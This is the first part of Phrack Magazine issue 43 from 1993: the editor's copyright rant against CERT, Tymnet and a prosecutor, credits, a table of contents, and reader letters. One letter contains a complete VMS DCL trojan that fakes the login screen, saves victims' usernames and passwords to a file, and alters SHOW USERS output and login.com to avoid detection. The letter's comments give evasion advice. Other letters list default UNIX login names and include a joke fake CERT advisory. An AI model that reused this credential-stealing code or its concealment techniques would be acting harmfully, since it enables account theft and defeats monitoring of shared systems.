==Phrack Magazine==
Volume Four, Issue Forty-Three, File 1 of 27
Issue 43 Index
___________________
P H R A C K 4 3
July 1, 1993
___________________
~ finger whitehouse.gov and make a secret service agent come ~
Well, here it is: Phrack 43. This issue should really piss every security
professional off. Well, actually, none of them should ever see it because
only two people have registered their subscriptions.
But, then again I think we all know that the whole world is FULL of
lying, thieving people who just don't care about other people's
property. No, smarty, not hackers...computer professionals!
CASE 1:
The Computer Emergency Response Team. Bastions of life, liberty and the
pursuit of happiness. CERT had been on the Phrack mailing list
previously, and was sent a copy of 42 (as was everyone) to give them
the opportunity to subscribe. Rather than do the right thing
and let us at Phrack know that they were not interested in paying,
and to take their name off the list, Ed DiHart instead forwarded off
several copies to his cronies.
Luckily for us, Ed is not the best typist, and the mail bounced all the way
back to Phrack. I called Ed and asked him why he would do such a thing,
which was clearly a direct violation of US Copyright Law. Ed claimed
he didn't know of any new rules for Phrack, and that he had always forwarded
off a few copies to his pals. I told Ed that this practice was unacceptable
and that if he wanted to continue to get Phrack he and his pals would all have
to register their subscriptions. Ed said that he did not want to pay
and to take CERT off the list.
A month prior to this Ed had said to me at the Computers, Freedom & Privacy
conference in San Francisco, "Why are YOU here anyway? It sure is IRONIC
that someone whose goal in life was to invade other people's privacy would
be attending a conference on protecting privacy." I walked away from him in
disgust.
While talking to Ed about Phrack I said, "You know Ed, it sure is IRONIC
that an organization such as CERT, whose main goal is to help protect
the property of others would so flagrantly violate US Copyright law and
completely disregard someone's property rights." Man, did that feel great!
CASE 2:
BT Tymnet. Dale Drew, security guru, made the statement on IRC about
Phrack, "I have absolutely no desire to pay for anything having to do with
hackers." Later, someone from Dale's machine at BT Tymnet (opus.tymnet.com)
logged into Len Rose's machine and ftp'd Phrack 42. With prior knowledge
Phrack was not free, he willingly used company property to commit a crime.
At most companies, that is grounds for termination. Luckily for Dale
Tymnet doesn't give a shit. In fact, Dale several times since has gone
back on IRC stating, "People here are Tymnet are kind of upset about
Phrack 42." This just shows that people at Tymnet are just as criminal
as they say hackers are. Since they could care less about MY property,
then why should I care about theirs? Maybe I should print a list of
all Tymnet internal NUIs! Well, two wrongs won't make a right, so I better
not.
I did, however, send email to Dale stating that we were aware of Tymnet's
transgressions and that we may be forced to take legal action. I have
decided to offer BT a sweet deal on a company-wide site license. We
shall see if they take me up on this offer, or continue to steal Phrack.
CASE 3:
Gail Thackeray. A woman sworn by the court to uphold the laws of the
land. This woman had the audacity to tell me that unless I
enforced my copyright, it was worthless. Unless I enforce it. What the
hell does that mean? Am I supposed to raid companies myself and
go dig for evidence that they have stolen my information? Geez...it's
not like I'm Bellcore. Gail's disgusting interpretation of the law,
that unless you are big enough to stand up for yourself then you have
no recourse, is a festering sore on the face of the American Legal system
and I personally am appalled that this woman is allowed to act as
a law enforcement professional.
Oh well, as you can tell I've had a little fun with all this. And I have
effectively proven my point. Security people, corporate professionals,
and law enforcement types are just as unscrupulous and unethical as they
have always claimed that we are.
Only TWO PEOPLE within the computer/legal/security profession have the right
to receive and keep copies of Phrack. Winn Schwartau, and a man at Mitre.
It's amazing that they are the only ones with any scruples, isn't it?
Well, let's get on with the issue. This one is pure, unadulterated evil.
Only the strong will survive this time. We've got Cellular, we've got
Novell, we've got 5e, we've got PHRACK TRIVIA! Get comfortable, grab
your favorite intoxicant, and enjoy.
*NOTES* Some of you will recognize the 5ESS file from the Summer issue of
2600 magazine. This file was sent to both myself and E. Goldstein. I
was told by the author that 2600 was not printing it. Wrong. Well, we
got permission from 2600 to print it here too since its such a good file,
and since I spent like 8 hours dealing with the author correcting
and editing it. In the future gang, if you send something to Phrack AND
to 2600, TELL US BEFOREHAND! The last thing I want to hear is, "Phrack
is plagiarizing 2600...gawd they are so lame." The acronym file, you will
note, is DIFFERENT. Heh.
In addition to the above, you may notice that we were a bit late in
distributing this issue. As many of you saw through the "resubscribe"
blurb sent over the mailing list, Phrack is not going through Stormking.COM
any longer. The struggle to relocate put us into further delays
but I've managed to take care of securing a new distribution site.
We want to thank everyone at Stormking for shipping Phrack out for
so long, and wish them the best in their future endeavors.
-------------------------------------------------------------------------
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-----------------------------------------------------------------------------
Enjoy the magazine. It is for and by the hacking community. Period.
Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
3L33t : OMAR
News : Datastream Cowboy
Photography : dFx
Pornography : Stagliano
Prison Consultant : Co / Dec
The Baddest : Dolomite
Rad Book : Snow Crash
Reasons Why I Am
The Way I Am : Hoffman, Hammett, The Power Computer
Typist : Minor Threat
Future Movie Star : Weevil
SCon Acid Casualty : Weevil
Thanks To : Robert Clark, Co/Dec, Spy Ace, Lex Luthor
Phreak Accident, Madjus, Frosty, Synapse, Hawkwind
Firm G.R.A.S.P., Aleph One, Len Rose, Seven-Up
Computer Crime Laboratories
"If you can take the bag off of your own head, then you haven't had
enough nitrous." -- KevinTX
Phrack Magazine V. 4, #43, July 1, 1993. ISSN 1068-1035
Contents Copyright (C) 1993 Phrack Magazine, all rights reserved.
Nothing may be reproduced in whole or in part without written
permission of the Editor-In-Chief. Phrack Magazine is made available
quarterly to the amateur computer hobbyist free of charge. Any
corporate, government, legal, or otherwise commercial usage or
possession (electronic or otherwise) is strictly prohibited without
prior registration, and is in violation of applicable US Copyright laws.
To subscribe, send email to phrack@well.sf.ca.us and ask to be added to
the list.
Phrack Magazine
603 W. 13th #1A-278 (Phrack Mailing Address)
Austin, TX 78701
ftp.netsys.com (Phrack FTP Site)
/pub/phrack
phrack@well.sf.ca.us (Phrack E-mail Address)
Submissions to the above email address may be encrypted
with the following key : (Not that we use PGP or encourage its
use or anything. Heavens no. That would be politically-incorrect.
Maybe someone else is decrypting our mail for us on another machine
that isn't used for Phrack publication. Yeah, that's it. :) )
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1
mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR
tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==
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-----END PGP PUBLIC KEY BLOCK-----
-= Phrack 43 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by The Editor 24K
2. Phrack Loopback Part I 38K
3. Phrack Loopback Part II / Editorial 44K
4. Line Noise Part I 39K
5. Line Noise Part II 43K
6. Phrack Pro-Phile on Doctor Who 15K
7. Conference News Part I by Various Sources 53K
8. Conference News Part II by Various Sources 58K
9. How To Hack Blackjack (Part I) by Lex Luthor 52K
10. How To Hack Blackjack (Part II) by Lex Luthor 50K
11. Help for Verifying Novell Security by Phrack Staff 48K
12. My Bust (Part I) by Robert Clark 56K
13. My Bust (Part II) by Robert Clark 55K
14. Playing Hide and Seek, Unix Style by Phrack Accident 31K
15. Physical Access and Theft of PBX Systems by Co/Dec 28K
16. Guide to the 5ESS by Firm G.R.A.S.P. 63K
17. Cellular Info by Madjus (N.O.D.) 47K
18. LODCOM BBS Archive Information 24K
19. LODCOM Sample Messages 52K
20. Step By Step Guide To Stealing a Camaro by Spy Ace 21K
21. Acronyms Part I by Firm G.R.A.S.P. 50K
22. Acronyms Part II by Firm G.R.A.S.P. 51K
23. Acronyms Part III by Firm G.R.A.S.P. 45K
24. Acronyms Part IV by Firm G.R.A.S.P. 52K
25. Acronyms Part V by Firm G.R.A.S.P. 46K
26. International Scene by Various Sources 51K
27. Phrack World News by Datastream Cowboy 24K
Total: 1152K
Another reason why the future is wireless.
"The CTIA recommended that the FCC require the microprocessor chip be
difficult to detach from the circuit board in order to prevent its
removal and replacement or reprogramming."
(Cellular Marketing, p. 18, May 1993)
"Damn, and I was hoping to replace this 8051 with a P5! HAHAHAHAHA!"
(Anonymous hacker-type, Tumbled Cellphone Call, 1993)
_______________________________________________________________________________
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 2 of 27
Phrack Loopback
Part I
****************************************************************************
COMING NEXT ISSUE
Van Eck Info (Theory & Practice)
More Cellular (Monitoring Reverse Channel, Broadcasting, Reprogramming)
HUGE University Dialup List (Mail Us YOUR School's Dialup NOW!)
Neato Plans For Evil Devices
Gail Thackeray Gifs
*********************************** M A I L *********************************
Chris,
Craig Neidorf gave me these addresses as ways to reach you. He tells me
that you are currently editing Phrack. I hope you are well.
Recently the EFF sysadmins, Chris Davis and Helen Rose, informed me that
eff.org was using so much of its T-1 bandwidth that UUNET, who supplies our
IUP connection, was charging us an extra $1,000 per month. They did some
investigation at my request. We determined that Phrack traffic alone was
responsible for over 40% of the total bytes transferred from the site over
the past year or so. This is several gigabytes per month. All in all, the
CuD archive, which contains Phrack, CuD, and other publications accounts
for 85% of our total traffic. All of the email to and from EFF, Usenet
traffic, and other FTP (from the EFF archive, the CAF archive, and others)
constitutes about 15%.
EFF isn't going to be able to carry it any more because it is effectively
costing us $1,000 per month. The fundamental problem is that Phrack is so
popular (at least as a free good) to cause real expense in transmission
costs. Ultimately the users are going to have to pay the costs because
bandwidth (when measures in gigabytes anyway) isn't free. The 12K per
year it costs us to carry Phrack is not something which EFF can justify in
its budget. I'm sure you can understand this.
On July 1, eff.org moves from Cambridge to Washington, DC which is when I
expect we will stop carrying it. I wanted to raise this issue now to let
you know in advance of this happening.
I have also asked Chris and Helen to talk to Brendan Kehoe, who actually
maintains the archive, to see whether there is anything we can do to help
find another site for Phrack or make any other arrangement which will
result in less loss of service.
Mitch
------------------------------------------------------------------------------
Mitchell Kapor, Electronic Frontier Foundation
Note permanent new email address for all correspondence as of 6/1/93
mkapor@kei.com
[Editor: Well, all things must come to an end. Looks like EFF's
move to Washington is leaving behind lots of bad
memories, and looking forward to a happy life in the hotbed
of American politics. We wish them good luck. We also
encourage everyone to join.........CPSR.
In all fairness, I did ask Mitch more detail about the
specifics of the cost, and he explained that EFF was paying
flat rate for a fractional T-1, and whenever they went over
their allotted bandwidth, they were billed above and beyond
the flat rate. Oh well. Thank GOD for Len Rose.
Phrack now has a new home at ftp.netsys.com.]
****************************************************************************
I'm having a really hard time finding a lead to the Information
America Network. I am writing you guys as a last resort. Could
you point me in the right direction? Maybe an access number or
something? Thanks you very much.
[Editor: You can reach Information America voice at 404-892-1800.
They will be more than happy to send you loads of info.]
****************************************************************************
To whom it may concern:
This is a submission to the next issue of phrack...thanks for the great
'zine!
----------------------------cut here-------------------------------
Greetings Furds:
Have you ever wanted to impress one of those BBS-babes with your astounding
knowledge of board tricks? Well *NOW* you can! Be the life of the party!
Gain and influence friends! Irritate SysOps! Attain the worship and
admiration of your online pals. Searchlight BBS systems (like many other
software packages) have internal strings to display user information in
messages/posts and the like. They are as follows (tested on Searchlight BBS
System v2.25D):
\%A = displays user's access level
\%B = displays baud rate connected at
\%C = unknown
\%F = unknown
\%G = displays graphics status
\%K = displays user's first name
\%L = displays system time
\%M = displays user's time left on system
\%N = displays user's name in format: First Last
\%O = times left to call "today"
\%P = unknown
\%S = displays line/node number and BBS name
\%T = displays user's time limit
\%U = displays user's name in format: FIRST_LAST
All you gotta do is slam the string somewhere in the middle of a post or
something and the value will be inserted for the reader to see.
Example: Hey there chump, I mean \%K, you better you better UL or log
off of \%S...you leach too damn many files..you got \%M mins
left to upload some new porn GIFs or face bodily harm and
mutilation!.
----------------------------
Have phun!
Inf0rmati0n Surfer (& Dr. Cloakenstein)
SysOp Cranial Manifestations vBBS
[Editor: Ya know, once a LONG LONG time ago, I got on a BBS and
while reading messages noticed that a large amount of
messages seemed to be directed at ME!!# It took me
about 10 minutes to figure it out, but BOY WAS I MAD!
Then I added my own \%U message for the next hapless fool.
:) BIG FUN!]
****************************************************************************
-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-
SotMESC
The US SotMESC Chapter is offering
Scholarships for the 1993 school term.
Entries should be single-spaced paragraphs,
Double-spacing between paragraphs.
The subject should center on an aspect of the
Computer Culture and be between 20-30 pages long.
Send entries to:
SotMESC
PO Box 573
Long Beach, MS 39560
All entries submitted will become the property of the SotMESC
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
****************************************************************************
The Southwest Netrunner's League's
-----------------------------------------------------------------
WareZ RoDeNtZ Guide to UNIX!!!!
-----------------------------------------------------------------
Compiled by:The Technomancer (UNICOS,UNIX,VMS,and Amigas)
Assists by:SysCon XIV (The Ma'Bell Rapist)
Iron Man MK 4a (Things that make ya go boom)
This file begs to be folded, spindeled,and mutilated.
No Rights Reserved@1993
-----------------------------------------------------------------
Technomancer can be reached at: af604@FreeNet.hsc.colorado.edu
Coming this September.... Shadowland, 68020... Watch this space.
-----------------------------------------------------------------
Part I(Basic commands)
Phile Commands: ls=List Philes
more,page=Display Phile on Yo Terminal
cp=Copy Phile
mv=Move or Remove Philes
rm=Remove Philes
Editor Commnds: vi=Screen Editor
Dirtory cmmnds: dir=Prints Directory
mkdir=Makes a new Directory(also a VERY bad bug)
rmdir=Remove a Directory
pwd=print working directory
Misc. Commands: apropos=Locate commands by keyword lookup.
whatis=Display command description.
man=Displays manual pages online.
cal=Prints calendar
date=Prints the time and date.
who=Prints out every one who is logged in
(Well, almost everyone 7:^] )
---------------------------------------------------------------
Part II(Security(UNIX security, another OXYMORON 7:^] ))
If you are a useless wAReZ r0dEnT who wants to try to Netrun
a UNIX system, try these logins....
root
unmountsys
setup
makefsys
sysadm
powerdown
mountfsys
checkfsys
All I can help ya with on da passwords iz ta give you some
simple guidelines on how they are put together....
6-8 characters
6-8 characters
1 character is a special character (exmpl:# ! ' & *)
-----------------------------------------------------------------
Well thats all fo' now tune in next time, same Hack-time
same Hack-channel!!!
THE TECHNOMANCER I have taken all knowledge
af604@FreeNet.hsc.colorado.edu
to be my province
--
Technomancer
Southwest Netrunner's League
*****************************************************************
[Editor: This is an example of what NOT to send to Phrack.
This is probably the worst piece of garbage I've
received, so I had to print it. I can only hope
that it's a private joke that I just don't get.
Uh, please don't try to write something worse and
submit it hoping to have it singled out as the
next "worst," since I'll just ignore it.]
****************************************************************************
Dear Phrack,
I was looking through Phrack 42 and noticed the letters about password
stealers. It just so happened that the same day I had gotten extremely
busted for a program which was infinitely more indetectible. Such is life.
I got off pretty well being an innocent looking female so it's no biggie.
Anyway, I deleted the program the same day because all I could think was
"Shit, I'm fucked". I rewrote a new and improved version, and decided to
submit it. The basic advantages of this decoy are that a) there is no
login failure before the user enters his or her account, and b) the
program defines the show users command for the user so that when they
do show users, the fact that they are running out of another account
doesn't register on their screen.
There are a couple holes in this program that you should probably be
aware of. Neither of these can kick the user back into the account that
the program is running from, so that's no problem, but the program can
still be detected. (So basically, don't run it out of your own account...
except for maybe once...to get a new account to run it out of) First, once
the user has logged into their account (out of your program of course) hitting
control_y twice in a row will cause the terminal to inquire if they are
doing this to terminate the session on the remote node. Oops. It's really no
problem though, because most users wouldn't even know what this meant. The
other problem is that, if the user for some strange reason redefines show:
$show == ""
then the show users screen will no longer eliminate the fact that the account
is set host out of another. That's not a big deal either, however, because
not many people would sit around randomly deciding to redefine show.
The reason I was caught was that I (not even knowing the word "hacker"
until about a month ago) was dumb enough to let all my friends know about the
program and how it worked. The word got spread to redefine show, and that's
what happened. The decoy was caught and traced to me. Enough BS...here's the
program. Sorry...no UNIX...just VMS.
Lady Shade
I wrote the code...but I got so many ideas from my buddies:
Digital Sorcerer, Y.K.F.W., Techno-Pirate, Ephemereal Presence, and Black Ice
------------------------------------------------
$if p1 .eqs. "SHOW" then goto show
$sfile = ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! The role of the dummy file in this program is to tell if the program !!!!
!!!! is being used as a decoy or as a substitute login for the victim. It !!!!
!!!! does not stay in your directory after program termination. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$sfile = f$search("sys$system:[ZJABAD_X]dummy.txt")
$if sfile .nes. "" then goto other
$open/write io user.dat
$close io
$open/write dummy instaar_device:[miller_g]dummy.txt
$close dummy
$wo == "write sys$output"
$line = ""
$user = ""
$pass = ""
$a$ = ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! A login screen with a message informing someone of new mail wouldnt !!!!
!!!! be too cool... !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$set broadcast=nomail
$set message/noidenficitaion/noseverity/nofacility/notext
$on error then goto outer
$!on control_y then goto inner
$wo " [H [2J"
$wo ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! insert a fake logout screen here !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$wo " ZJABAD_X logged out at ", f$time()
$wo " [2A"
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This is the main body of the program. It simulates the system login !!!!
!!!! screen. It also grabs the username and password and sticks them in !!!!
!!!! a file called user.dat !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$outer:
$set term/noecho
$inquire a$/nopun ""
$inquire a$/nopun ""
$set term/echo
$c = 0
$c1 = 0
$c2 = 0
$inner:
$c2 = c2 + 1
$if c2 .eqs. 5 then goto speedup
$c = c + 1
$if c .eqs. 15 then goto fail
$if c1 .eqs. 3 then goto fail3
$user = "a"
$wo "Username: "
$from_speedup:
$set term/uppercase
$wo " [2A"
$read/time_out=10/prompt=" [9C " sys$command user
$if user .eqs. "a" then goto timeout
$set term/nouppercase
$if user .eqs. "" then goto inner
$set term/noecho
$inquire pass "Password"
$set term/echo
$if user .eqs. "ME" then goto done
$if pass .eqs. "" then goto fail
$open/append io user.dat
$write io user + " " + pass
$close io
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Sends the user into their account !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$open/write io set.com
$write io "$set host 0"
$write io user + "/COMMAND=INSTAAR_DEVICE:[MILLER_G]FINDNEXT"
$write io pass
$close io
$@set
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Control has been returned to your account !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$write io " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Simulates a failure if the password is null, and also if the !!!!
!!!! username prompt has cycled through 15 times... This is what !!!!
!!!! the system login screen does. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$fail:
$c = 1
$c1 = c1 + 1
$wo "User authorization failure"
$wo " [1A"
$goto inner
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! After the third failure, the system usually sends the screen back !!!!
!!!! one step...this just handles that. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$fail3:
$wo " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! The system keeps a timeout check in the login. If a username is not !!!!
!!!! entered quickly enough, the timeout message is activated !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$timeout:
$set term/nouppercase
$wo "Error reading command input"
$wo "Timeout period expired"
$wo " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! There is a feature in this program which sets the terminal to !!!!
!!!! uppercase for the input of a username. This is wonderful for !!!!
!!!! preventing program detection, but it does cause a problem. It slows !!!!
!!!! the screen down, which looks suspicious. So, in the case where a !!!!
!!!! user walks up tot he terminal and holds the return key down for a !!!!
!!!! bit before typing in their username, this section speeds up the run !!!!
!!!! considerably. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$speedup:
$set term/nouppercase
$fast_loop:
$user = "a"
$read/time_out=1/prompt="Username: " sys$command io
$if user .eqs. "a" then goto from_speedup
$goto fast_loop
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This section is optional. There are many ways that you can implement !!!!
!!!! to break out of the program when you think you have gotten enough !!!!
!!!! passwords. 1), you can sit down at the terminal and type in a string !!!!
!!!! for the username and pass which kicks you out. If this option is !!!!
!!!! implemented, you should at least put in something that looks like !!!!
!!!! you have just logged in, the program should not kick straight back !!!!
!!!! to your command level, but rather execute your login.com. 2) You !!!!
!!!! can log in to the account which is stealing the password from a !!!!
!!!! different terminal and stop the process on the account which is !!!!
!!!! running the program. This is much safer, and my recommandation. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$done:
$set broadcast=mail
$set message/facility/text/identification/severity
$delete dummy.txt;*
$exit
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This section is how one covers up the fact that the account which has !!!!
!!!! been stolen is running out of another. Basically, the area of the show!!!!
!!!! users screen which registers this is at the far right hand side. !!!!
!!!! This section first writes the show users data to a file and alters !!!!
!!!! it before it is written to the screen for viewing by the user. There !!!!
!!!! may exist many forms of the show users command in your system, and !!!!
!!!! you may have to handle each one differently. I have written only two !!!!
!!!! manipulations into this code to be used as an example. But looking !!!!
!!!! at how this is preformed should be enough to allow you to write your !!!!
!!!! own special cases. Notice that what happens to activate this section !!!!
!!!! of the program is the computer detects the word "show" and interprets !!!!
!!!! it as a procedure call. The words following show become variables !!!!
!!!! passed into the program as p1, p2, etc. in the order which they !!!!
!!!! were typed after the word show. Also, by incorporating a third data !!!!
!!!! file into the manipulations, one can extract the terminal id for the !!!!
!!!! account which the program is running out of and plug this into the !!!!
!!!! place where the user's line displays his or her terminal id. Doing !!!!
!!!! this is better that putting in a fake terminal id, but that is just a !!!!
!!!! minor detail. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$show:
$show = ""
$show$ = ""
$length = 0
$ch = ""
$full = 0
$c = 0
$if (f$extract(5,1,p2) .eqs. "/") .and. (f$extract(6,4,p2) .nes. "FULL") then show 'p1'
$if (p2 .eqs. "USERS/FULL") .and. (p3 .eqs. "") then goto ufull
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then show users
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then exit
$if p3 .eqs. "" then goto fallout
$goto full
$fallout:
$show 'p2' 'p3'
$exit
$ufull:
$show users/full/output=users.dat
$goto manipulate
$full:
$show$ = p3 + "/output=users.dat"
$show users 'show$'
$manipulate:
$set message/nofacility/noseverity/notext/noidentification
$open/read io1 users.dat
$open/write io2 users2.dat
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Control_y must be dealt with here. If the user did happen to controlY !!!
!!!! there is a chance that the files users.dat and users2.dat could be !!!
!!!! left in their directory. That is a bad thing as we are trying to !!!
!!!! prevent detection :) !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$on control_y then goto aborted
$user = ""
$test = ""
$long = ""
$ch = ""
$length = 0
$user = f$user()
$length = f$length(user) - 2
$user = f$extract(1,length,user)
$read_loop:
$read/end_of_file=eof io1 line
$test = f$extract(1,length,line)
$ch = f$extract (length+1,1,line)
$if (test .eqs. user) .and. (ch .eqs. " ") then goto change
$from_change:
$write io2 line
$goto read_loop
$eof:
$close io1
$close io2
$type users2.dat
$del users.dat;*
$del users2.dat;*
$show == "@instaar_device:[MILLER_G]findnext show"
$set message/facility/text/severity/identification
$exit
$change:
$if f$extract(50,1,line) .nes. "" then line = f$extract(0,57,line) + "(FAKE TERMINAL INFO)"
$goto from_change
$aborted:
$!if f$search("users.dat") .nes. "" then close io1
$!if f$search("users.dat") .nes. "" then delete users.dat;*
$!if f$search("users2.dat") .nes. "" then close io2
$!if f$search("users2.dat") .nes. "" then delete users2.dat;*
$close io1
$close io2
$delete users.dat;*
$delete users2.dat;*
$show == "@instaar_device:[MILLER_G]findnext show"
$set message/facility/text/severity/identification
$exit
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This is the section of the program which is executed in place of the !!!!
!!!! users login.com. It does grab their login and execute it to prevent !!!!
!!!! suspicion, but there are a couple of hidden commands which are also !!!!
!!!! added. They redefine the show and sys commands so that the user can !!!!
!!!! not detect that he or she is riding off of another account. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$other:
$sh$ = "@instaar_device:[miller_g]findnext show"
$shline = "$sh*ow ==" + sh$
$logi = ""
$logi = f$search("login.com")
$if logi .NES. "" then goto Ylogin
$nologin:
$open/write io login2.com
$write io shline
$close io
$@login2
$delete login2.com;*
$exit
$ylogin:
$open/write io2 login2.com
$open/read io1 login.com
$transfer_loop:
$read/end_of_file=ready io1 line
$write io2 line
$goto transfer_loop
$ready:
$write io2 "$sh*ow == ""@instaar_device:[miller_g]findnext show""
$close io1
$close io2
$@login2
$delete login2.com;*
$exit
[Editor: Thanks for the letter and program. I wish I could bring
myself to use a VMS and try it out. :) Always happy
to get notice that somewhere out there a female reads
Phrack. By the way, "innocent female" is an oxymoron.]
****************************************************************************
To: Phrack Loopback.
From: White Crocodile.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Greetings sweet Phrack and Mr. Bloodaxe. Your "loopback reports" is
really cool invention and I (sorry for egoisthic "I") with pleasure
wasting time for his reading ( ex. my playboy time ). But here for
some unknown reason appear equal style, and all loopback remind
something medium between "relations search" [Hello Dear Phrack, I am
security expert of our local area, but when I looked to output of
"last" program (oh,yeah - "last" it is ...), I ocassionaly under -
standed what apparently someone elite hacker penetrated into my
unpassworded account! But how he knew it??? I need to talk
with him! Please mail me at security@...] and "make yourself" [Yep.I
totally wrote program which gets file listing from target vicitim's
home directory in current host. After that I decided to contribute
it for You. I hope this will help. Here is the complete C code. "rx"
permission in target's '$HOME' required.].
Looking similar articles like "... off Geek!" and various reports
which don't reacheds PWN. [CENSORED BY ME].
Resulting from abovewritten reason and I let myself to add some
elite (oops word too complex), some bogus and little deposit to Your
lb. He written in classic plagiarize style.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
* * *
Good mornin' Ladys and Gentelmen! I hacking and phreaking. I know what
it is horrible (don't read it please - this message to Bart), but I
doing it all the time (today already 3 month). I have not much time to
write, and here is the subject - I broke into one military computer
and stole their mail about new security bug!!! l00k f3r |t:
- - -
DDN & CERT
SPECIAL REPORT*
Sun 3.x,4.1.x login flaw
Subject: The huge Sun 4.x login hole.(possibly Ulitix 3.0,BSD,AIX
and many yet unknown systems)
Impact: Allow random intruders to gain "root" access.
Description:
The huge security hole was there and waiting! Type:
$ login root
[ no option required ], and You are! All what You need to know its
just root's password, but it (pw), sure, can be easily obtained from
real root, by asking him (root). Ex - "$ talk root"
Possible fix until copyrighted patch come out:
#rm /usr/bin/login
#cp /usr/games/fortune /usr/bin/login
If you believe that your system has been compromised, contact CERT CC. Call
our hotline 900-FBI-PRIVATE (24 a day,please not in dinner time or in time
of "Silence of the Lamb"), leave Inet address of your system and number of
private credit card.
- - -
* Report not will be printed in cert advisories in this form, becouse FBI
need remove all hints and tips, and make him useless to intruders.
DISCLAIMER: Above document written by CERT, DDN and FBI -
all pretension to them.
Thanks to gr*k (I can't write his full name for security reasons),roxtar,
y0,Fidelio,2 scotts from Santafe,KL (He not have attitude towards this
mail,but I included him for polite since he reserved tickets for me to
SUMMERCON),ahh,x0d,all zero's (count,bob,nick,etc.) and many others for
hints to me, what this bug really exist (Yep, before I stoled report).
- Write You later - anonymous.
P.S. Yup! If You won't think what I am toady - I wanna say also thanks to TK
